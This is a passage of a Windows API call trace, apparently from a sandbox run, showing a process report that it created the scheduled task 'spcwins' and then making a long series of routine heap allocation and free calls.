[0130.173] GetProcessHeap () returned 0x1d0000 [0130.173] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed610) returned 0xc [0130.173] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed610 | out: hHeap=0x1d0000) returned 1 [0130.173] GetProcessHeap () returned 0x1d0000 [0130.173] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x82) returned 0x209d20 [0130.174] _vsnwprintf (in: _Buffer=0xbd490, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xbccf8 | out: _Buffer="SUCCESS: The scheduled task \"spcwins\" has successfully been created.\n") returned 69 [0130.174] _fileno (_File=0x7fefed02ab0) returned -2 [0130.174] _errno () returned 0x474bb0 [0130.174] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0130.174] SetLastError (dwErrCode=0x6) [0130.174] lstrlenW (lpString="SUCCESS: The scheduled task \"spcwins\" has successfully been created.\n") returned 69 [0130.174] GetConsoleOutputCP () returned 0x0 [0130.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"spcwins\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0130.174] GetConsoleOutputCP () returned 0x0 [0130.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"spcwins\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0xff161880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"spcwins\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 69 [0130.174] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 69 [0130.174] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0130.175] IUnknown:Release (This=0x4769b0) returned 0x0 [0130.175] TaskScheduler:IUnknown:Release (This=0x477dd0) returned 0x0 [0130.175] TaskScheduler:IUnknown:Release (This=0x477d80) returned 0x0 [0130.175] TaskScheduler:IUnknown:Release (This=0x477b50) returned 0x1 [0130.175] lstrlenW (lpString="") returned 0 [0130.175] lstrlenW (lpString="8") returned 1 [0130.175] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="8", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0130.175] GetProcessHeap () returned 0x1d0000 [0130.175] GetProcessHeap () returned 0x1d0000 [0130.175] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec3c0) returned 1 [0130.175] GetProcessHeap () returned 0x1d0000 [0130.175] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec3c0) returned 0x1fc [0130.175] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec3c0 | out: hHeap=0x1d0000) returned 1 [0130.176] GetProcessHeap () returned 0x1d0000 [0130.176] GetProcessHeap () returned 0x1d0000 [0130.176] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec230) returned 1 [0130.176] GetProcessHeap () returned 0x1d0000 [0130.176] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec230) returned 0x4 [0130.176] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec230 | out: hHeap=0x1d0000) returned 1 [0130.176] GetProcessHeap () returned 0x1d0000 [0130.176] GetProcessHeap () returned 0x1d0000 [0130.176] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed570) returned 1 [0130.176] GetProcessHeap () returned 0x1d0000 [0130.176] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed570) returned 0x16 [0130.176] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed570 | out: hHeap=0x1d0000) returned 1 [0130.176] GetProcessHeap () returned 0x1d0000 [0130.176] GetProcessHeap () returned 0x1d0000 [0130.176] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed550) returned 1 [0130.176] GetProcessHeap () returned 0x1d0000 [0130.176] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed550) returned 0x18 [0130.176] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed550 | out: hHeap=0x1d0000) returned 1 [0130.176] GetProcessHeap () returned 0x1d0000 [0130.176] GetProcessHeap () returned 0x1d0000 [0130.176] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecdc0) returned 1 [0130.176] GetProcessHeap () returned 0x1d0000 [0130.176] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecdc0) returned 0x20 [0130.177] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecdc0 | out: hHeap=0x1d0000) returned 1 [0130.177] GetProcessHeap () returned 0x1d0000 [0130.177] GetProcessHeap () returned 0x1d0000 [0130.177] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec060) returned 1 [0130.177] GetProcessHeap () returned 0x1d0000 [0130.177] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec060) returned 0xa0 [0130.177] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec060 | out: hHeap=0x1d0000) returned 1 [0130.177] GetProcessHeap () returned 0x1d0000 [0130.177] GetProcessHeap () returned 0x1d0000 [0130.177] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebae0) returned 1 [0130.177] GetProcessHeap () returned 0x1d0000 [0130.177] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebae0) returned 0x18 [0130.177] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebae0 | out: hHeap=0x1d0000) returned 1 [0130.177] GetProcessHeap () returned 0x1d0000 [0130.177] GetProcessHeap () returned 0x1d0000 [0130.177] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecb80) returned 1 [0130.177] GetProcessHeap () returned 0x1d0000 [0130.177] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecb80) returned 0x20 [0130.178] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecb80 | out: hHeap=0x1d0000) returned 1 [0130.178] GetProcessHeap () returned 0x1d0000 [0130.178] GetProcessHeap () returned 0x1d0000 [0130.178] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec2c0) returned 1 [0130.178] GetProcessHeap () returned 0x1d0000 [0130.178] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec2c0) returned 0xae [0130.179] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec2c0 | out: hHeap=0x1d0000) returned 1 [0130.179] GetProcessHeap () returned 0x1d0000 [0130.179] GetProcessHeap () returned 0x1d0000 [0130.179] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed590) returned 1 [0130.179] GetProcessHeap () returned 0x1d0000 [0130.179] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed590) returned 0x18 [0130.179] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed590 | out: hHeap=0x1d0000) returned 1 [0130.179] GetProcessHeap () returned 0x1d0000 [0130.179] GetProcessHeap () returned 0x1d0000 [0130.179] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecb50) returned 1 [0130.179] GetProcessHeap () returned 0x1d0000 [0130.179] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecb50) returned 0x20 [0130.179] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecb50 | out: hHeap=0x1d0000) returned 1 [0130.179] GetProcessHeap () returned 0x1d0000 [0130.179] GetProcessHeap () returned 0x1d0000 [0130.180] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1edd00) returned 1 [0130.180] GetProcessHeap () returned 0x1d0000 [0130.180] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1edd00) returned 0xb0 [0130.180] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1edd00 | out: hHeap=0x1d0000) returned 1 [0130.180] GetProcessHeap () returned 0x1d0000 [0130.180] GetProcessHeap () returned 0x1d0000 [0130.180] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed530) returned 1 [0130.180] GetProcessHeap () returned 0x1d0000 [0130.180] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed530) returned 0x18 [0130.180] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed530 | out: hHeap=0x1d0000) returned 1 [0130.180] GetProcessHeap () returned 0x1d0000 [0130.180] GetProcessHeap () returned 0x1d0000 [0130.180] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecb20) returned 1 [0130.180] GetProcessHeap () returned 0x1d0000 [0130.180] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecb20) returned 0x20 [0130.181] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecb20 | out: hHeap=0x1d0000) returned 1 [0130.181] GetProcessHeap () returned 0x1d0000 [0130.181] GetProcessHeap () returned 0x1d0000 [0130.181] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec3a0) returned 1 [0130.181] GetProcessHeap () returned 0x1d0000 [0130.181] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec3a0) returned 0xe [0130.181] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec3a0 | out: hHeap=0x1d0000) returned 1 [0130.181] GetProcessHeap () returned 0x1d0000 [0130.181] GetProcessHeap () returned 0x1d0000 [0130.181] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec380) returned 1 [0130.181] GetProcessHeap () returned 0x1d0000 [0130.181] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec380) returned 0x18 [0130.181] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec380 | out: hHeap=0x1d0000) returned 1 [0130.181] GetProcessHeap () returned 0x1d0000 [0130.181] GetProcessHeap () returned 0x1d0000 [0130.181] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5db0) returned 1 [0130.181] GetProcessHeap () returned 0x1d0000 [0130.181] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5db0) returned 0x20 [0130.181] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5db0 | out: hHeap=0x1d0000) returned 1 [0130.182] GetProcessHeap () returned 0x1d0000 [0130.182] GetProcessHeap () returned 0x1d0000 [0130.182] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebc60) returned 1 [0130.182] GetProcessHeap () returned 0x1d0000 [0130.182] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebc60) returned 0x208 [0130.182] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebc60 | out: hHeap=0x1d0000) returned 1 [0130.182] GetProcessHeap () returned 0x1d0000 [0130.182] GetProcessHeap () returned 0x1d0000 [0130.182] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebac0) returned 1 [0130.182] GetProcessHeap () returned 0x1d0000 [0130.182] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebac0) returned 0x18 [0130.182] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebac0 | out: hHeap=0x1d0000) returned 1 [0130.182] GetProcessHeap () returned 0x1d0000 [0130.182] GetProcessHeap () returned 0x1d0000 [0130.182] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5cc0) returned 1 [0130.182] GetProcessHeap () returned 0x1d0000 [0130.182] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5cc0) returned 0x20 [0130.183] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5cc0 | out: hHeap=0x1d0000) returned 1 [0130.183] GetProcessHeap () returned 0x1d0000 [0130.183] GetProcessHeap () returned 0x1d0000 [0130.183] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed2f0) returned 1 [0130.183] GetProcessHeap () returned 0x1d0000 [0130.183] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed2f0) returned 0x200 [0130.183] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed2f0 | out: hHeap=0x1d0000) returned 1 [0130.183] GetProcessHeap () returned 0x1d0000 [0130.183] GetProcessHeap () returned 0x1d0000 [0130.183] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebb00) returned 1 [0130.183] GetProcessHeap () returned 0x1d0000 [0130.183] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebb00) returned 0x18 [0130.183] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebb00 | out: hHeap=0x1d0000) returned 1 [0130.183] GetProcessHeap () returned 0x1d0000 [0130.183] GetProcessHeap () returned 0x1d0000 [0130.184] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c30) returned 1 [0130.184] GetProcessHeap () returned 0x1d0000 [0130.184] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5c30) returned 0x20 [0130.184] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c30 | out: hHeap=0x1d0000) returned 1 [0130.184] GetProcessHeap () returned 0x1d0000 [0130.184] GetProcessHeap () returned 0x1d0000 [0130.184] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec270) returned 1 [0130.184] GetProcessHeap () returned 0x1d0000 [0130.184] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec270) returned 0x14 [0130.184] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec270 | out: hHeap=0x1d0000) returned 1 [0130.184] GetProcessHeap () returned 0x1d0000 [0130.184] GetProcessHeap () returned 0x1d0000 [0130.184] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec250) returned 1 [0130.184] GetProcessHeap () returned 0x1d0000 [0130.184] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec250) returned 0x18 [0130.184] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec250 | out: hHeap=0x1d0000) returned 1 [0130.185] GetProcessHeap () returned 0x1d0000 [0130.185] GetProcessHeap () returned 0x1d0000 [0130.185] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b70) returned 1 [0130.185] GetProcessHeap () returned 0x1d0000 [0130.185] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5b70) returned 0x20 [0130.185] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b70 | out: hHeap=0x1d0000) returned 1 [0130.185] GetProcessHeap () returned 0x1d0000 [0130.185] GetProcessHeap () returned 0x1d0000 [0130.185] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec290) returned 1 [0130.185] GetProcessHeap () returned 0x1d0000 [0130.185] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec290) returned 0x16 [0130.185] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec290 | out: hHeap=0x1d0000) returned 1 [0130.185] GetProcessHeap () returned 0x1d0000 [0130.185] GetProcessHeap () returned 0x1d0000 [0130.185] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec210) returned 1 [0130.185] GetProcessHeap () returned 0x1d0000 [0130.185] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec210) returned 0x18 [0130.185] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec210 | out: hHeap=0x1d0000) returned 1 [0130.185] GetProcessHeap () returned 0x1d0000 [0130.185] GetProcessHeap () returned 0x1d0000 [0130.186] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b40) returned 1 [0130.186] GetProcessHeap () returned 0x1d0000 [0130.186] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5b40) returned 0x20 [0130.186] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b40 | out: hHeap=0x1d0000) returned 1 [0130.186] GetProcessHeap () returned 0x1d0000 [0130.186] GetProcessHeap () returned 0x1d0000 [0130.186] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eba40) returned 1 [0130.186] GetProcessHeap () returned 0x1d0000 [0130.186] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eba40) returned 0x2 [0130.186] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eba40 | out: hHeap=0x1d0000) returned 1 [0130.186] GetProcessHeap () returned 0x1d0000 [0130.186] GetProcessHeap () returned 0x1d0000 [0130.186] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5990) returned 1 [0130.186] GetProcessHeap () returned 0x1d0000 [0130.186] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5990) returned 0x20 [0130.187] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5990 | out: hHeap=0x1d0000) returned 1 [0130.187] GetProcessHeap () returned 0x1d0000 [0130.187] GetProcessHeap () returned 0x1d0000 [0130.187] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e59c0) returned 1 [0130.187] GetProcessHeap () returned 0x1d0000 [0130.187] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e59c0) returned 0x20 [0130.187] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e59c0 | out: hHeap=0x1d0000) returned 1 [0130.187] GetProcessHeap () returned 0x1d0000 [0130.187] GetProcessHeap () returned 0x1d0000 [0130.187] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e59f0) returned 1 [0130.187] GetProcessHeap () returned 0x1d0000 [0130.187] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e59f0) returned 0x20 [0130.188] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e59f0 | out: hHeap=0x1d0000) returned 1 [0130.188] GetProcessHeap () returned 0x1d0000 [0130.188] GetProcessHeap () returned 0x1d0000 [0130.188] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a20) returned 1 [0130.188] GetProcessHeap () returned 0x1d0000 [0130.188] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5a20) returned 0x20 [0130.188] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a20 | out: hHeap=0x1d0000) returned 1 [0130.188] GetProcessHeap () returned 0x1d0000 [0130.188] GetProcessHeap () returned 0x1d0000 [0130.189] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecbb0) returned 1 [0130.189] GetProcessHeap () returned 0x1d0000 [0130.189] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecbb0) returned 0x20 [0130.189] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecbb0 | out: hHeap=0x1d0000) returned 1 [0130.189] GetProcessHeap () returned 0x1d0000 [0130.189] GetProcessHeap () returned 0x1d0000 [0130.189] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed690) returned 1 [0130.189] GetProcessHeap () returned 0x1d0000 [0130.189] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed690) returned 0xe [0130.189] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed690 | out: hHeap=0x1d0000) returned 1 [0130.189] GetProcessHeap () returned 0x1d0000 [0130.189] GetProcessHeap () returned 0x1d0000 [0130.189] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecbe0) returned 1 [0130.189] GetProcessHeap () returned 0x1d0000 [0130.189] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecbe0) returned 0x20 [0130.190] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecbe0 | out: hHeap=0x1d0000) returned 1 [0130.190] GetProcessHeap () returned 0x1d0000 [0130.190] GetProcessHeap () returned 0x1d0000 [0130.190] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e7ab0) returned 1 [0130.190] GetProcessHeap () returned 0x1d0000 [0130.190] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e7ab0) returned 0x30 [0130.190] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e7ab0 | out: hHeap=0x1d0000) returned 1 [0130.190] GetProcessHeap () returned 0x1d0000 [0130.190] GetProcessHeap () returned 0x1d0000 [0130.190] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecc10) returned 1 [0130.190] GetProcessHeap () returned 0x1d0000 [0130.190] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecc10) returned 0x20 [0130.191] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecc10 | out: hHeap=0x1d0000) returned 1 [0130.191] GetProcessHeap () returned 0x1d0000 [0130.191] GetProcessHeap () returned 0x1d0000 [0130.191] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e7af0) returned 1 [0130.191] GetProcessHeap () returned 0x1d0000 [0130.191] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e7af0) returned 0x30 [0130.191] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e7af0 | out: hHeap=0x1d0000) returned 1 [0130.191] GetProcessHeap () returned 0x1d0000 [0130.191] GetProcessHeap () returned 0x1d0000 [0130.191] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd90) returned 1 [0130.191] GetProcessHeap () returned 0x1d0000 [0130.191] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecd90) returned 0x20 [0130.191] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd90 | out: hHeap=0x1d0000) returned 1 [0130.191] GetProcessHeap () returned 0x1d0000 [0130.192] GetProcessHeap () returned 0x1d0000 [0130.192] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed5b0) returned 1 [0130.192] GetProcessHeap () returned 0x1d0000 [0130.192] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed5b0) returned 0xe [0130.192] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed5b0 | out: hHeap=0x1d0000) returned 1 [0130.192] GetProcessHeap () returned 0x1d0000 [0130.192] GetProcessHeap () returned 0x1d0000 [0130.192] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd60) returned 1 [0130.192] GetProcessHeap () returned 0x1d0000 [0130.192] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecd60) returned 0x20 [0130.192] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd60 | out: hHeap=0x1d0000) returned 1 [0130.192] GetProcessHeap () returned 0x1d0000 [0130.192] GetProcessHeap () returned 0x1d0000 [0130.192] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed5d0) returned 1 [0130.192] GetProcessHeap () returned 0x1d0000 [0130.192] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed5d0) returned 0x16 [0130.192] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed5d0 | out: hHeap=0x1d0000) returned 1 [0130.192] GetProcessHeap () returned 0x1d0000 [0130.192] GetProcessHeap () returned 0x1d0000 [0130.192] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd30) returned 1 [0130.192] GetProcessHeap () returned 0x1d0000 [0130.193] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecd30) returned 0x20 [0130.193] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd30 | out: hHeap=0x1d0000) returned 1 [0130.193] GetProcessHeap () returned 0x1d0000 [0130.193] GetProcessHeap () returned 0x1d0000 [0130.193] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed5f0) returned 1 [0130.193] GetProcessHeap () returned 0x1d0000 [0130.193] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed5f0) returned 0x16 [0130.193] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed5f0 | out: hHeap=0x1d0000) returned 1 [0130.193] GetProcessHeap () returned 0x1d0000 [0130.193] GetProcessHeap () returned 0x1d0000 [0130.193] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd00) returned 1 [0130.193] GetProcessHeap () returned 0x1d0000 [0130.193] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecd00) returned 0x20 [0130.193] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd00 | out: hHeap=0x1d0000) returned 1 [0130.193] GetProcessHeap () returned 0x1d0000 [0130.193] GetProcessHeap () returned 0x1d0000 [0130.194] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x209d20) returned 1 [0130.194] GetProcessHeap () returned 0x1d0000 [0130.194] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x209d20) returned 0x82 [0130.194] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x209d20 | out: hHeap=0x1d0000) returned 1 [0130.194] GetProcessHeap () returned 0x1d0000 [0130.194] GetProcessHeap () returned 0x1d0000 [0130.194] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eccd0) returned 1 [0130.194] GetProcessHeap () returned 0x1d0000 [0130.194] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eccd0) returned 0x20 [0130.194] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eccd0 | out: hHeap=0x1d0000) returned 1 [0130.195] GetProcessHeap () returned 0x1d0000 [0130.195] GetProcessHeap () returned 0x1d0000 [0130.195] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed630) returned 1 [0130.195] GetProcessHeap () returned 0x1d0000 [0130.195] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed630) returned 0xe [0130.195] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed630 | out: hHeap=0x1d0000) returned 1 [0130.195] GetProcessHeap () returned 0x1d0000 [0130.195] GetProcessHeap () returned 0x1d0000 [0130.195] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecca0) returned 1 [0130.195] GetProcessHeap () returned 0x1d0000 [0130.195] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecca0) returned 0x20 [0130.195] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecca0 | out: hHeap=0x1d0000) returned 1 [0130.195] GetProcessHeap () returned 0x1d0000 [0130.195] GetProcessHeap () returned 0x1d0000 [0130.196] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed650) returned 1 [0130.196] GetProcessHeap () returned 0x1d0000 [0130.196] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed650) returned 0xa [0130.196] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed650 | out: hHeap=0x1d0000) returned 1 [0130.196] GetProcessHeap () returned 0x1d0000 [0130.196] GetProcessHeap () returned 0x1d0000 [0130.196] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecc70) returned 1 [0130.196] GetProcessHeap () returned 0x1d0000 [0130.196] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecc70) returned 0x20 [0130.196] 